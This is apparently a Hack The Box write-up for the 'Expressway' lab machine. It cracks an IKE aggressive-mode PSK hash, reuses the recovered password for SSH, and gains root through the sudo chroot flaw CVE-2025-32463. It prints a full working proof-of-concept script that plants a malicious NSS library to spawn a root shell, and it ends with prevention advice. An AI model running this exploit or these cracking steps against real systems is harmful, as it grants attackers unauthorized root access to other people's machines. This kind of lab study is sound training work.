Expressway Writeup

Summary

Expressway is an HTB machine that exploits IKE aggressive mode, which exposes the PSK hash during the handshake on cleartext. Cracking this hash reveals valid VPN credentials, which, due to password reuse also grant SSH access. After logging in, a vulnerable sudo version is leveraged to escalate privileges to root.

Expressway Writeup

We start with Nmap to check for open ports

to get more details about version of SSH -p 22 -sVC to check for any outdated version or any interesting info.

As this does not seem to be a way in (but at least we can confirm we have a Debian target based on the output.) we can also try to check for UDP ports, I found port 500 which Nmap says is probably the service isakmp (Internet Security Association and Key Management Protocol), having that port open.

I found this useful cheat sheet on Hacktricks about pentesting port 500 (IKE/IPsec).

Description from manual
ike-scan - Discover and fingerprint IKE hosts (IPsec VPN servers)

we can use this tool to be able to interact with the service. In this case using -M option gives multi-line output which can help for readability.

Output

1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation.

Before proceeding let’s take a moment to understand IKE.

IKE (Internet Key Exchange) is the protocol used to establish secure tunnels in IPsec VPNs. It operates in two modes.

Main Mode
it builds the IKE Security Association in six steps. First, the initiator sends proposals for encryption and authentication, and the responder picks one. Then they exchange Diffie-Hellman keys and other data to create a shared secret. Finally, both sides authenticate each other. Identities and authentication data are encrypted, because the secure channel is established before any sensitive information is exchanged. After this, IPSec negotiation begins.

Aggressive Mode
sets up the IKE Security Association in just three messages, which makes it faster than Main Mode. The initiator sends all its details first, the responder replies with its proposal, key exchange data, and identity, and then the initiator confirms. Quick and simple. but here’s the problem, both identities are sent in plain text before the channel is secure.

If you’re using a pre-shared key (PSK), it gets worse. The second and third messages include hashes based on the PSK, and these are also exposed. An attacker can capture them and run offline brute-force or dictionary attacks to recover the PSK.

with that in mind we can use ike-scan to try to use aggressive mode with the target with -A

As the target accepts aggressive mode it is useful for us as we can capture the hash during the handshake process we tell ike-scan to save the hash on the file hash using --pskcrack

also we get

The ID from the output of ike-scan: ike@expressway.htb so ike could be used as our user to log in to SSH

To crack the hash we use psk-crack specify wordlist with -d and the hash file we captured

after cracking we get
freakingrockstarontheroad

And we can use it to SSH to the target.

And we got user flag!

While doing some enumeration, we run sudo -V to see the current version.

And with a little bit of help from searchsploit.

to our pleasant surprise it is vulnerable.

to get root we can use this exploit CVE-2025-32463.

But before that a short explanation of what is going on under the hood.

CVE-2025-32463 is a vulnerability in sudo where the -R (chroot) option is not properly secured. When sudo uses -R, it changes its root directory before completing all security checks.

This allows an attacker to create a fake environment with a malicious nsswitch.conf and a crafted libnss_*.so library. During execution, sudo loads this library inside the chroot, which runs as root, giving the attacker full privilege escalation.

#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

# 1. NSS library
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);          /* change to UID 0 */
    setregid(0,0);          /* change  to GID 0 */
    chdir("/");             /* exit from chroot */
    execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF

# 2. Mini chroot with toxic nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc            # make getgrnam() not fail

# 3. compile libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] Running exploit…"
sudo -R woot woot                 # (-R <dir> <cmd>)
                                   # • the first “woot” is chroot
                                   # • the second “woot” is and inexistent
command
                                   #   (only needs resolve the user)

rm -rf "$STAGE"

After saving to exploit.sh and running…

We get root.

How to prevent these vulnerabilities

1. Avoid using Aggressive Mode for IPsec VPNs, as it exposes sensitive data.

2. Do not reuse credentials across services.

3. Keep systems and software updated to patch known vulnerabilities.